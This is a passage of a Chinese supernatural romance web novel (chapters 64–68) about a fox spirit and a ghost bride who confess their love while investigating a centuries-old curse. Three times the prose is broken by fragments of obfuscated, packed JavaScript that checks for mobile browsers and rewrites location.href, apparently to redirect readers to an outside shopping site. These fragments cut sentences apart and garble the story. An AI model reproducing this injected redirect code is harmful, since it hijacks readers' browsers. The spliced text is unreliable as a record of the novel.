姬悬月扭头，朝林疏伸出手。 林疏：“？” 姬悬月叹气道：“那条缚灵索制成的项圈，你带在身上吗？” 林疏：“……” 他现在是狐形，没有袖子，但——狐狸全身的毛发都可施展袖里乾坤术，用来藏东西。 于是月光下的小狐狸翘起后爪在身上刨了两下，那条黑色丝带就掉在了地上。 姬悬月捡起它，当着众人的面，将它重新系在了自己脖子上。 “我不会拖累他，”姬悬月垂下双手，漆黑的丝带在他脖子上，好像缠成了一个完美的枷锁，“如果真有失控的那天……在那之前，我会自愿死在他手中。” 林聆眼带嘲讽，笑了笑，没说什么。 顾煜城则伸手拍了拍姬悬月的肩膀，然后转身，与林聆并肩朝越野车走去。 姬悬月怔怔望着他们二人的背影，过了会儿，顾煜城突然回头道：“你们不坐车吗？” 姬悬月如梦初醒，赶紧抱起身边的小狐狸，站起身，一边拍身上的土，一边跟了上去。 他松了口气，知道自己暂时算过关了。 回去的路上是林聆开车，顾煜城缩在副驾驶，一只手不自然地合在身前，用另一只手臂抱着。 姬悬月抱着小狐狸坐在后座，林疏伸出一个尖尖的狐狸嘴，不安地嗅了嗅师父的胳膊，担忧道：“师父，你受了什么伤？这么严重？” 顾煜城淡淡道：“追踪的时候从悬崖上掉下来了，不过没事，只是摔断了胳膊。” 林疏：“……” 他的师父，他多少了解一些，说只有胳膊受伤，那必然是全身上下没几块好的，只是胳膊伤得最重。 他居然累师父拖着这样的伤来救他……他真是太没用了。林疏陷入无边的自责。 顾煜城道：“去救你之前，悬月跟我说了一些你们调查的案子，但我来之前算过一卦，这件事没有你看到的这么简单，从现在开始，你和姬悬月老老实实，谁都不许再碰这个案子。” 林疏小声道：“知道了。” 顾煜城道：“如果再有什么消息，找不到我就找你师娘，不许私自行动。事关鹤城百年悬案，本来就应该是灵调局和灵协办的工作。” 林疏悻悻道：“我也是灵调局员工呢……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883413|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林聆啧了一声。 林疏又道：“可他们的目标是我，我不应该协助调查吗？” 林聆一边打方向盘，一边道：“协助调查的意思是我上门来问你，你只需要知无不言，不是让你参与进案子里。” 顾煜城叹气，道：“小狐狸，我跟你师娘把你从鬼门关捞回来，不是想看着你再死一次。” 林疏只得答应了。 而姬悬月听了顾煜城的话，又想起行动之前林聆说的那句“绝不能让他们再对他做一次那样的事”，顿时心生忧虑，想问什么，此时大家都在，又不太方便。 ……好在他已经有了顾煜城的电话，以后随时也可以问。 林聆将一狐一鬼送到小区楼下，又亲自送他们进电梯，上楼，看着他们关门落锁，才放心地离开。 进了家门后，林疏松了口气，他从姬悬月怀里跳到沙发上，抬起后爪使劲儿挠自己身上的皮毛。 姬悬月马上过去查看：“你挠什么？你不会受伤了吧？” 林疏有些心虚道：“哪有……这些血不是你抹在我身上的。” 其实幻境里的血并没有留在他身上，他这样说，是因为他身上确实有些树枝的插伤和刮伤。 但他通体灵力运转速度快，此刻也几乎都不流血了，只是伤口有些发痒。 比起这个来——林疏赶紧跳进姬悬月怀中，贴在姬悬月胸口左闻右闻，道：“你呢？伤口还疼吗？” 姬悬月摇头：“早就不疼了，我已经是死人，不会疼。” 林疏难过道：“可是当时也一定很疼。” 姬悬月就温柔地捏了捏他的耳根。 林疏突然竖起耳朵道：“这次看清是谁杀了你吗？” 姬悬月瞧着小狐狸的模样，忍俊不禁：“看到了，但是没用啊，他都死了几百年了。” 林疏赶紧道：“是谁？” 姬悬月道：“穆文泰，穆绍棠的父亲。” 林疏一下子来了兴致：“你是说，你被自己未来公爹给杀了？” 姬悬月道：“我死之前跟他的对话信息量非常大——他叫我穆羽。” 随即姬悬月便把他和穆文泰的对话原封不动复述了一遍。 林疏听得傻了眼：“这么说来，你其实是穆家的外室之子？那穆文泰该不会是你爹吧？” 姬悬月摇摇头：“这我就不知道了。” 林疏顿时想起自己被穆绍棠叫“阿白”的事，忙道：“说起来我好像也跟穆绍棠认识，穆府的人都知道我，说我是小少爷的宠物。但我不记得了。” 姬悬月再次摇头：“我也不记得。” 两个失忆的人相对而坐，一筹莫展。 林疏又在姬悬月怀里钻了一会儿，突然意识到自己已经变回了丑狐狸，马上不动了，将头埋在爪爪的下面。 他后知后觉，身上的皮毛重新有了牵扯感，是那些伤疤回到了他身上。这让他有些羞赧，不太愿意让姬悬月看到他的模样。 姬悬月撸了撸林疏的小耳朵，道：“又怎么了？” 林疏埋着头，觉得浑身都不自在，他勉强做了半天的心理建设，才低声道：“你还记得在穆宅，你在厢房里救出来的我吗？” 65. 第 65 章 姬悬月不解道：“记得，怎么了？” 林疏道：“皮毛光滑的小狐狸，很好看对吧？” 一边这样说着，他连尾巴都蜷缩了起来。 姬悬月一下子懂了，他笑着摸摸林疏不太平整的皮毛，道：“可是在我眼中并无分别，只要是你，我都喜欢。” 林疏顿住，突然道：“你只是很喜欢毛茸茸的小动物，是吗？” 姬悬月嘴角的笑容停顿了一下。 他很认真地思索了一番，却答非所问：“林疏，如果我说不是呢？” 林疏却将头更深地埋在尾巴下面，不敢出声了。 姬悬月道：“林疏，你从来没有问过我，你为什么不问我？” 林疏埋着头：“我怎么不知道我要问你什么……” 姬悬月瞧着鸵鸟一样的小狐狸，顿时心底发痒。 他顿了片刻，轻声问道：“你什么时候可以变回人形？” 林疏闷闷道：“你急什么？你又不喜欢毛茸茸的小狐狸了吗？” 姬悬月耐心道：“因为有些问题，我想对人形的你说。” 林疏只得道：“那你帮我拿一套衣服来。” 姬悬月就笑着放下小狐狸，起身去衣柜里，给林疏找衣服。 抱着两件纯棉的睡衣，姬悬月一转身，却看见已变回人形的林疏，就站在他身后不远的地方。 竟然不是微卷短发的模样。 而是一头雪色长发披在身后、同样雪白的狐耳尖尖竖在头顶的，半人半妖的模样。 双眸漆黑如墨，眼尾微微上挑，面上多了几分姬悬月从未在林疏身上见过的妖冶。 好像跟林疏长得一样，又不一样。 也并不是没穿衣服，而是披着一身轻软白袍。 “这是我人形的法相。”林疏轻声道。 姬悬月怔怔看着他。 “现在是人形了，你说吧。”林疏有些紧张，努力站得很直。 ……姬悬月却直勾勾看着他，目不转睛。 那双眸中的目光如有实质，林疏被他看得雪白耳尖都带上浅浅粉红，努力露出无辜神色：“你盯着我看什么？” 姬悬月的目光非常露骨，如果眼神也能扒人衣服的话，林疏这会儿恐怕已经不着寸缕了。 许久后，姬悬月终于笑着垂下眼睫，敛去眸中情绪，缓缓走到他身边，道：“原来你变回人形是有衣服的。” 林疏硬着头皮道：“只有法相才有，因为没有披画皮。” 姬悬月伸手捞起林疏一缕长发：“没有画皮？” 林疏垂下同样变成雪白的睫毛：“嗯，这是我的本来样貌。头发颜色很奇怪对吧？而且……身上有很多疤痕，就不给你看了，所以用皮毛变身衣服穿。” 姬悬月低声道：“你知道的，我从没说过不喜欢你的伤疤。” 他垂着头看着林疏的发顶，他比林疏高出很多，说话间，微凉的吐息落在林疏耳根。 林疏的狐耳很敏感，在这样近的距离，他的肩膀都有些细微的发抖。 好半天，他才道：“你不是有话要对人形的我说吗？” 姬悬月却笑了，他看着如雪长发、妖娆纯真的林疏，慢慢靠近他，目光认真地对上林疏漆黑的眸子：“不知道怎么说了，全忘了。” 林疏气得跳脚，转身就要跑。 姬悬月却突然从身后搂住了小狐狸纤细的腰。 “你从来没有问过我，为什么心甘情愿戴上你给的枷锁。” 林疏怔住。 他的脸变得非常非常红，说话的声音也不稳：“或许……难道……不是因为你害怕被我师娘当场劈死吗？” 姬悬月却笑了，他将下巴抵在林疏头顶，慢慢收紧了手臂：“你知道的，他不会动手。他更想让你亲手杀了我，我会是你成仙路上最大的功德。” 鬼新娘的怀抱冰凉又舒服，林疏知道自己应该挣脱，但他实在太喜欢这个拥抱，只好红着脸顾左右而言他：“他的确是这么说过……” 姬悬月抱着小狐狸，他的表情藏在林疏看不见的地方，只有这样，他才敢放任自己眼眸中的眷恋。 与绝望。 明明绝望，明明不该再问，可他还是轻声问道：“你也清楚这一点，所以，为什么你不杀我？” 他期待林疏的回答，又知道林疏不会回答。 这是他与小狐狸之间的默契。 有些话，只能问，不能答。 林疏果然安静了下来。 这一秒钟里，他知道姬悬月并不需要他的回答。 不能说，不该说。林疏心里无比清楚这一点。可是煎熬了太久太久，久得林疏都不知道自己到底在坚持什么。 彼此之间，明明有些话一旦说出来，就再也收不回去。 可是那一秒钟如此漫长，又如此短暂，林疏轻声道：“因为我喜欢你。” 姬悬月怔住了。 他的双眼瞪大，瞳孔微震，交缠在林疏腰间的手指不自觉地蜷曲，又怕弄痛了小狐狸，慌忙松开些许。 林疏却没有因为他松手，而挣脱，离开。 林疏重复道：“因为我喜欢你，所以，我没办法杀你。就算你注定会失控、发狂、化成一把灰，我都拿你没有办法。” 姬悬月想开口说些什么。 林疏却在他怀里，用毛茸茸的耳朵轻轻蹭了一下姬悬月的下巴，道：“所以——姬悬月，我是一只坏狐狸。” 他说完这些，就轻轻挣开了姬悬月的怀抱。 他匆匆逃走，朝着衣柜的方向。 却忽然听见姬悬月轻声道：“我也很喜欢你，小狐狸。” 空气一下子变得很安静。 时间仿佛停在了他说出口的那一瞬间。 又仿佛已经过了很久很久，久到林疏和姬悬月都不知道接下来该怎么办。 姬悬月缓缓道：“我想说这句话很久了。我知道我不应该说，可是林疏，我已经收不回来了。” 他走到已经完全怔住的林疏背后，搂紧了小狐狸，将头埋进温暖的颈窝。 “我已经收不回来了。我再也不能像之前一样，收回对你说出的喜欢。” 哪怕万劫不复，他也只想陪着林疏，走到他再也无法前行的那一天。 林疏整个人愣在了姬悬月的怀里。 他们像两个任性的小孩子，就这样不负责任地互相交换了真心。 但还没有理清自己接下来该说什么，林疏突然感觉有冰凉的液体滴落在自己的脖子上。 是姬悬月的血泪。 厉鬼的眼中没有清澈的泪水，盈满眼眶的，是骇人的血泪。 林疏脑中空白了很久，才找回自己的声音：“姬悬月你……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883414|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而姬悬月已经道：“如果可以，我也想陪你很久很久。但是林疏，” 林疏的心逐渐跌至谷底。他从始至终都知道，表白的这一天，就是他们面对彼此残酷命运的时刻。 他以为自己做好了准备。 但其实没有。 姬悬月深吸了一口气，道：“林疏，越走下去，我越清楚——我的死和这背后的真相，不会成为救赎我的钥匙。” 它们只会成为姬悬月发疯的引线。 姬悬月知道，林疏承诺他的往生就在眼前，可他看不到林疏成仙的那天了。 听到这里，林疏忍不住开口道：“你又没有想起，你凭什么这么说？” 姬悬月却笑了。 他道：“今天在穆宅时空阵法中，我就清晰地知道，只要继续走下去，我一定会因为这些真相而发疯失控。与其到时候让老天来劈我，不如我死在你手上，也算是个不错的结局。” 林疏喃喃道：“你也觉得我杀了你会比较好？可是……我承诺过的，只要你想，我可以陪着你一点点攒功德，直到你赎清罪孽。” 姬悬月道：“如果能够作为垫脚石，成为你的功德，我甘之如饴。” 林疏安静了很久，才轻声道：“我记得我说过，天狐一生只爱一个人。你想让我守着死去的爱人过完下半身吗？” 姬悬月笑道：“我只是一个过客，你还有个念念不忘的亡夫呢。” 林疏道：“他已经死了。” 姬悬月道：“你说过的，一辈子只爱一个人。” 林疏道：“既然已经忘了，便不算一辈子。” 姬悬月沉默下来。 林疏轻声道：“你还记得陈璧兰吗？她在投胎之前对我说过一番话。她说，她的爱人是死在永远忘记她的那一天。” 姬悬月不知道该如何回答。 林疏继续道：“她点醒了我，对于我来说，在那个人忘记我的那一天，他便死了。而我已经忘记他，爱他的那个我便死了。” 姬悬月道：“可你还记得爱他的感受。” 林疏道：“是，我还记得爱他的感受，但也仅仅是通过他学会了如何去爱。我已经忘记了我是怎么认识他，怎么与他相爱，所以这爱与他无关。” 姬悬月听了这番话，倒是笑了。 他道：“那么我死以后，你也可以忘记我。” 林疏再次怔住了。 而姬悬月轻轻亲吻了一下林疏的发顶。 “让我陪你走下去吧，”他低声道，“走到无法继续的那天，你便忘记我，就不算一辈子。” …… 如果是你，会谈一场注定一无所有的恋爱吗？ 这注定是一个失眠的夜晚。林疏在床上安安静静侧躺着，姬悬月则和从前的每一天一样，坐在沙发上。 只不过如今姬悬月不再穿繁复的新娘装了，而是穿着舒适的背心短裤。 林疏很久没有这种看着天是怎么亮起来的时候了。 一整晚，他在心里推演了无数遍。 其实也没有那么难，从他对姬悬月的了解来看，姬悬月好像并不爱穆绍棠。 如果姬悬月从来不知道爱一个人是什么滋味，林疏可以教会他，到时候姬悬月心中有了爱，说不定可以跟血孽的怨气相抵消。 毕竟童话里也说真爱可以战胜一切嘛。 66. 第 66 章 当然，这都是比较理想的局面，须知，情之一字最伤人，林疏很难保证自己和姬悬月永远幸福快乐甜蜜美满，爱情中也会产生怨气，对情绪的影响是非常大的，林疏也不知道姬悬月在爱情里的“稳定性”如何。 有的人表面看上去情绪稳定，实际上一接触到感情就麻了，什么理智克制都抛到一边。而有些人虽然表面疯，在感情里却冷静睿智。所以，感情的事是不能一概而论的。 林疏越想心越静不下来。 他保持一个姿势躺着，逐渐开始浑身发麻了。翻了个身，却觉得热得厉害。 不知道是不是快下雨了，林疏觉得屋子里又热又闷又潮湿，哪怕有姬悬月的阴气调节，也浑身不自在。 没办法——凌晨三点，林疏拖着一身汗去洗澡了。 姬悬月自然是醒着，他本闭着眼睛，听见林疏趿着拖鞋来回走的声音，就睁开了眼睛。 浴室的灯开了，林疏在磨砂玻璃门后面脱掉了睡衣，拧开了花洒。 姬悬月望着朦胧的身影，喉结微不可察地动了一下。 片刻后，林疏一身水拉开了浴室门，他的睡衣已经被汗浸湿，不能再穿，索性就围着一条浴巾出来了。 姬悬月看着林疏走到床边栽倒下去，几息过后，吁了口热气：“好热。” 姬悬月喉咙还有些发紧，他轻咳了一声，道：“我已经把阴气开到最大了。” 林疏有气无力道：“天气的问题，鹤城恐怕要下雨。” 姬悬月想了想，还是起身，走到林疏身边坐下。 “我身上凉。”他道。 ……林疏在姬悬月靠过来的时候就满脑子都是废料，睡前的表白让他再也无法把姬悬月当成一个恋人未满的室友…… 此时紧密相贴的距离，让林疏脑海中思绪如野马脱缰。 于是在姬悬月看不到的角度，林疏悄悄红了脸。但身体很诚实，已经牢牢抱住姬悬月的腰。 事实证明，养一只清凉男鬼……还是很有用的。 至少夏天非常舒适。 而冬天么——林疏恰好是一只不怕冷的狐狸，到冬天就是他被毛增厚的无敌季节。 简直是绝配。 这么一想，林疏又心安理得起来，伸长手臂，将姬悬月直接按倒。 姬悬月：“……” 林疏笑着道：“这样多舒服。” 姬悬月：“……” 林疏完全不管姬悬月怀揣着的一颗羞涩少男心，充分发挥了自己天生地养的撒娇作精本能，抱着姬悬月又揉又蹭，最后，给自己蹭硬了。 姬悬月：“……” 林疏：“……” 林疏火速起身，又去冲了个澡。 这次回来，他冷静了许多，与姬悬月保持了约三厘米的安全距离，双手老老实实合在腹部，平躺着。 “明天……”他像说梦话一样非常小声地道，“我们什么也不查了，什么九龙千年柱、四煞千年柱，不查了。攒功德的方式很多，明天我们就出去捡垃圾。” 姬悬月静默了一会儿，也同样用很小的声音道：“案子也不管了吗？” 林疏道：“工作照样做，多余的事不做。” 姬悬月还想问什么，林疏的呼吸声已经均匀了。 趁着冲了澡身上凉快，疲惫的小狐狸终于成功睡着了。 姬悬月慢慢侧过身来，仔仔细细看着小狐狸的睡容。 就像以前的每一天一样。 次日天亮后，林疏还没睡醒，他的手机就嗡嗡响起来，姬悬月赶紧拿起来按了静音，然后蹑手蹑脚拿着电话去浴室里接——是林聆的电话。 “喂？九龙千年柱的地气变动，你不要到那里去……”林聆话说一半，发现这边没动静，默了三秒，道，“你是姬悬月？” 姬悬月小声道：“是的，他还在睡。” “告诉林疏，休假两天。”林聆听见姬悬月的声音非常不开心，冷漠地说了这八个字后就挂断了。 姬悬月只来得及说了个好。 他把手机小心翼翼放回林疏枕边，突然想起那天，九龙千年柱的雷电陷阱里，林疏说过的话——对方只知林疏，不知姬悬月。 他才是最大的底牌。 于是趁着林疏还没醒，姬悬月留了张字条告诉他今天不必上班，然后争分夺秒地跑了。 穆家老宅已经空无一人，并被公安局的黄标围了起来。姬悬月仗着自己没有实体，偷偷飘进房子里转了几圈。 但是，除了在最里面看到过一些住人的痕迹，还有两个被林聆和顾煜城破阵后留下的废弃祭坛，没有任何与灵异相关的蛛丝马迹。 他又谨慎地飘去了九龙千年柱。 白日里的九龙千年柱充满了乡土气息，依然有一群大爷大娘在它周围健身和晒被子。 姬悬月先以魂体在这里飘来飘去看了一会儿，没什么感觉。 他又找了个没人的地方给自己拍了一张实体符咒，然后顶着一头时尚潮男的头发来了，用实体感受了一番这处的地气。 ……由于外型不像个正经人，就被那些大爷大妈们盯着看。 以实体在广场上绕着柱子走，再伸手在每一根柱子上摸了几下，姬悬月心想，那天异动的时候，他戴着项圈都反应很大，但今天却没什么感觉。 是地气有变化，还是设局人走了，所以什么都没留下？ 直到他的手摸上右侧那根断了半截的柱子。 一股尖锐的疼痛刺入了姬悬月的脑子，他捂着头闷哼一声，向下跪倒。 脑子里闪起一堆凌乱的碎片， 书信、玉佩、喜服，还有满地的鲜血。 姬悬月忍着疼，又摸了摸那根柱子，但这次什么都没有了。 总结——用魂体摸柱子，什么都感觉不到，用实体才行。 而且，姬悬月记得自己前几次来也摸过这些柱子，都什么也没感觉到。 看来还是柱子的问题。 在老头老太们关切地围上来之前，姬悬月冷着脸站直了，然后飞快地走掉。 回到家后，姬悬月刚一进门，就看见床上的林疏刚坐起来，捂着额头，脸色不太好。 “怎么了？被我吵醒了？”姬悬月马上关了门走过去看。 林疏摇摇头：“没事，做了个噩梦。” 他抬头看了一眼姬悬月，本想感叹姬悬月今天的打扮真帅气，但脑海中闪过那个梦……突然就有些心虚，又将话咽了回去。 姬悬月不明所以，但看林疏醒了，便去厨房盛自己临走时煲的粥。 林疏美滋滋喝了粥，突然问道：“怎么今天这么贤惠？还学会了用电饭锅。” 姬悬 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姬悬月一本正经道：“我是老攻。” 林疏不服气：“凭什么！” 姬悬月道：“攻受的攻。” “……”林疏熄火了。 没办法，他的确是0。 但他是0不代表姬悬月就一定是1啊！姬悬月一个死人，又硬不起来！ 于是林疏狐疑地盯着姬悬月腰带下方几厘米处看。 姬悬月：“……” 士可杀，不可辱。 姬悬月出门采购，林疏则又在床上赖了半小时，等察觉到姬悬月快回来了，才慢吞吞爬起来，穿好了人皮。 ……真是一只熟练的画皮鬼呢 于是姬悬月回来之后，白毛小美人消失，他看到的又是清纯可人的黑发小美人了。 小美人的确是做饭熟手，如他自己所说，拥有在任何时代都饿不死的厨艺。 但黑发小美人颠勺的时候，大美人突然从后面环住了他的腰。 其实也不算环住，因为林疏的腰细得很，姬悬月只用双手握在两边腰侧，就几乎全握住了。 这样的肢体接触只让林疏脑子里充满废料，正在思考要不要假装娇羞一下，突然身后的身体贴了上来，姬悬月低声问：“你刚才是在质疑……我的能力吗？” “？”林疏顿时思维混乱，“你说的刚才是指什么时候？” 姬悬月道：“你质疑攻受的时候。” 林疏：“……” 然后他感觉有个东西顶住了自己的腰。 林疏：“？？？” 姬悬月不是死人吗！！！ 林疏惊得回头看，就见姬悬月似笑非笑望着他。 林疏指着他的作案工具：“你这……你不是死了吗！” 姬悬月正色道：“我想你对死人的鬼魂有误解，我只是没有活人的温度和心跳，人的基本功能我都还是有的，不然我从哪里挤出来的眼泪？” 林疏道：“可你不能正常吃饭喝水……” 姬悬月道：“不能吃饭，因为内脏已经不能进行生命活动了，无法消化食物。但可以喝水，水会在体内循环之后顺着尿道排出……是叫尿道吧？” 67. 第 67 章 林疏：“……” 倒也不必说得像上生物课一样。 抱歉，死物课。 姬悬月认真道：“这都是我在网上仔细查找后，用自己的身体亲自做过实验的。我排出过温水和奶茶……” 林疏：“……好了你不要再说了，再说下去我以后都不会喝奶茶了！！！” 姬悬月就笑了，他的笑容很正经，就像刚讲完什么生物知识的老师，虽然面庞是如此艳丽魅惑，那表情却十分泰然。 却看得林疏浑身酥酥麻麻。 再联想到刚才自己腰窝感觉到的轮廓…… 林疏知道自己以后脑子里应该都不会有废料了。 ……也可能是再也不会有正常范畴内的废料了。 姬悬月突然问道：“你跟我，现在是情侣吗？” 林疏一愣，他还没从废料罐子里爬出来，听了这话，顿时思维又掉了回去，胆战心惊道：“你想做什么？我还没准备好……” 姬悬月有些茫然，但还是很礼貌道：“好，那么……等你准备好了，我们可以接吻吗？” “只是接吻……”林疏松了口气。 姬悬月更茫然了：“不然呢？还有……别的什么？” 林疏：“……” 等等，他并没有在期待别的什么啊！ 林疏赶紧道：“没有没有，我随口说说。” 姬悬月就轻轻笑了一声。 林疏：“……” 这家伙为什么笑得好像什么都知道一样。 林疏决定面不改色，只要他不尴尬，尴尬的就是别人。 不尴尬的林疏在炒完菜后端着盘子落荒而逃。 但屋子一共就这么大，林疏还能逃到哪去呢？ 情趣罢了。 …… 快乐的摆烂时间总是过得飞快，林疏预言的大雨也随着台风光顾了这座城市。 还没到傍晚，林疏瞧着天色就黑了，他趴在窗户上看了会儿，喃喃道：“要开始下雨了。” 果然，几分钟后，电闪雷鸣，雨淅沥沥地来了。 姬悬月收拾好厨房的一切，来到林疏身边，学着他的样子跪坐在床上，扒着落地窗内层的栏杆，看外头的雨帘。 在这密集又轻柔的白噪音里，林疏歪着头枕着自己的胳膊，眼皮慢慢开始打架。 姬悬月道：“困了就躺下睡？” 林疏笑道：“我又不是猪，哪有那么多觉要睡。”说着，就打了个哈欠。 姬悬月便大着胆子去抱他。 林疏倒也没拒绝，就着他的手往后一倒，被鬼新娘有力的臂膀稳稳抱起来，放在了床上。 但这样一来他们的姿势就有些暧昧了，姬悬月的双臂仍抄着他的脊背和膝弯，他的头已经在枕头上，而姬悬月的脸就悬在他面前不足三公分的高度。 这个距离，只要姬悬月低一下头，就能亲到他的嘴唇。 林疏似乎是真困了，眼睛逐渐睁不开。 瞧着小狐狸毫不设防的睡颜，姬悬月觉得自己像荒漠中行了很久的旅人，遇着神赐的甘泉，又像被什么蛊惑。 他着魔一般低头，想靠近自己肖想了很久的嘴唇。 林疏却突然用很轻的声音道：“我昨晚做了一个梦。” 姬悬月没有抬头，他就停在这个几乎唇齿相依的距离，也用很低的声音问道：“你梦到了什么？” “我梦见我将一个东西，交给了……”一边说着，林疏的眼睛已慢慢睁开，见姬悬月离自己如此之近，他的睫毛轻颤了一下，想说的话突然就忘了。 姬悬月等了很久没有等到下文，心中了然，微微一笑道：“交给了别的男人？是交给你亡夫了吗？” 林疏想反驳，但又下意识住嘴了，他不确定。 于是他的沉默像是默认。 姬悬月便轻柔地问道：“你以后会梦到我吗？” 林疏道：“我……” 姬悬月已俯身，轻轻一吻，落在了林疏的额头。 林疏心里尴尬得都要昏过去了，他真的只是突发奇想，想说自己那个稀奇古怪的梦了，结果……倒好像他为了不让姬悬月亲他，故意说的一样！ 啊啊啊啊啊他也很想亲亲啊！！！ 不过……为什么会做那样一个梦呢？ 林疏心里在哀嚎。 一旁的姬悬月，却也心怀鬼胎。 他白天偷偷去过九龙千年柱，还在摸到断了半截的柱子时看到了无数清晰的记忆闪回…… 虽然他的确通过那些碎片拼凑出了一些画面，并没有感受到这些记忆碎片里的感情，回到家看到小狐狸后也是几乎把那一切忘在了脑后。 但刚才林疏突然说起的梦，却让姬悬月又想起了白天在脑子里过了一遍的那些碎片。 他的失忆跟林疏不同，数年来，厉鬼的脑子混混沌沌，多数东西都是这样莫名其妙消失掉了，但姬悬月不知道自己会不会再想起来。 虽然，他去九龙千年柱算是被小轩提醒，也至今无法分辨小轩是友是敌，但上次遇见小轩的时候，那家伙提出的一个问题，他至今记得。 林疏不肯接受他，未必不是因为他曾与他人婚娶。 他也曾试想过，如果林疏见到了亡夫的转世，并与对方再续前缘，那他该如何自处？ 眼下虽然都没有发生，但有一种感受，叫做患得患失。 姬悬月自己都不愿去想的情景，他又怎么舍得让林疏去经历？须知己所不欲，勿施于人。 如果他能想起从前的事，对他来说或许不完全是好事，但他一定能够更坦荡地面对林疏、面对自己的感情。 雨声纷纷，一点一滴连绵不绝，仿佛敲击着人的灵魂。 姬悬月缓缓闭上双眼，整理脑子中的碎片。 而一旁的林疏静静躺着，他本来很困了，此时却再睡不着。 昨晚的梦……林疏想来还觉得十分费解。 他梦见他还是一只狐狸，咬着一枚玉佩在旷野上奔跑。 他口中的玉佩非常凉，但非常温润，口舌覆于其上，触感十分细腻，林疏本能地知道这玉佩价值不菲。但他不知道自己叼着这玉佩是去找谁。 梦里他的皮毛完整又漂亮，疾速奔跑的时候，周围的草叶哗啦啦地响，风将雪白的毛发吹得蓬勃又活力，使他像一个迅疾的精灵一样，无拘无束。 他最后停在了路边，远处的村镇建筑看起来也非常眼熟…… 而迎面走来的是…… 笑得非常温柔的穆绍棠。 林疏一脸茫然，但梦里的他已经迎面朝穆绍棠走去。 林疏并没有弄懂为什么自己会与穆绍棠如此熟识。 直到穆绍棠抱起他，轻轻揉了揉他雪白的狐耳，然后，林疏感觉自己的嘴张开了，发出了人的声音：“小少爷， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883416|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是给你的。” 林疏的意识：“……” 他为什么会对穆绍棠发出人声啊！！！ ……而穆绍棠却完全不意外，直接伸手，接过了林疏一路衔着的玉佩。 这玉佩真是给穆绍棠的？为什么会给穆绍棠？他跟穆绍棠什么关系啊！！！ ……而小少爷垂眸看了看那玉佩，忽然对林疏露出一个非常羞涩的笑来。 这笑容让林疏后背发凉，以他死基佬的直觉，和在圈内多年耳濡目染的经验……穆绍棠这个笑容可不太纯洁。 而后，穆绍棠不知道从哪儿摸出个木头刻的小鱼儿，递给了林疏。 梦里的林疏张口接过了，穆绍棠却顺势挠了挠他的下巴：“你能不能变成人形，给我看看？” 然后林疏就吓醒了。 ……这个梦也太恐怖了，从睡醒，一直到再次躺下，林疏一秒都不敢深想。 雨声沉沉敲击他的大脑，却让他的思绪信马由缰跑到了不知什么地方…… 难道……他的亡夫其实……是穆绍棠？ 不不不，这不可能，这根本不可能。 先不说，穆绍棠明媒正娶的人是姬悬月，就算穆绍棠对狐狸有情，那为什么成亲前一天，穆绍棠会抱着狐狸吐露心事？哪有搂着一个情人说自己爱另一个人的？ ……嘶好像也不是没有。 难……难道……他表面上是穆绍棠的宠物狐，实际上……是穆绍棠的小妾？通房小厮？ 不行，思维朝着更诡异的方向去了。 林疏把眼睛闭得紧紧的，不敢面对这个世界。 更不敢面对姬悬月。 于是，休假的第二天，林疏跑了。 姬悬月问他去哪儿，他说朋友请吃饭。 确实有朋友请吃饭，林疏一个朋友出差路过鹤城——蓝帝上认识的网友，不过他们都是0，所以成了姐妹。 最初林疏加他好友，就是因为觉得此人头像莫名顺眼，与亡夫神似，虽然聊天之后知道他大概不是自己亡夫，但好友却保留了下来。 这个朋友的名字叫郑小钦，在千里之外工作，要不是这次出差，他跟林疏恐怕几年也见不了一回面。 但林疏赴约的时候明显精神萎靡，不时走神。 尤其是看一眼郑小钦的脸之后，眼神就更飘忽了。 郑小钦喝了口咖啡：“你这么看着人家是搞什么啦。” 林疏底气十分不足：“……许久未见，你怎么白嫩了不少？” ……就跟穆绍棠更像了。 林疏以前怎么没觉得，自己找的这一堆“神似亡夫”的家伙，其实都多多少少有点神似穆绍棠…… 有的是眼睛像，有的是嘴像，还有的是气质像。 郑小钦笑嘻嘻道：“整天坐办公室是这样的啦，也没有时间去看男大学生打球……” “……”林疏嘴角抽搐几下，这厮喜欢青春男大的口味还真是数年如一日没变。 郑小钦挤眉弄眼：“怎么样小道长，没谈个恋爱吗？” 林疏的脸色更灰败了：“谈是谈了……” 郑小钦眼睛一亮：“详细说说？我爱听。” 林疏道：“我还挺喜欢他的，你知道，我重度颜控，他长得好看。” “这不是很好吗？”郑小钦道。 林疏道：“可我发现……我好像跟他前任有过一段……” 68. 第 68 章 “……”郑小钦愣了一下，“不会吧姐妹，你找了个0？你终于要翻身当攻了吗！还是说，找了个……0.5？” 林疏无奈地抹了把脸：“一时半会说不清楚，不是型号的问题，我俩暂时没有‘那个’的打算。” ……以姬悬月的本钱，就算他想，林疏自己也不会同意的！ 郑小钦奇怪道：“处对象又不‘那个’，什么年代了还搞柏拉图……” 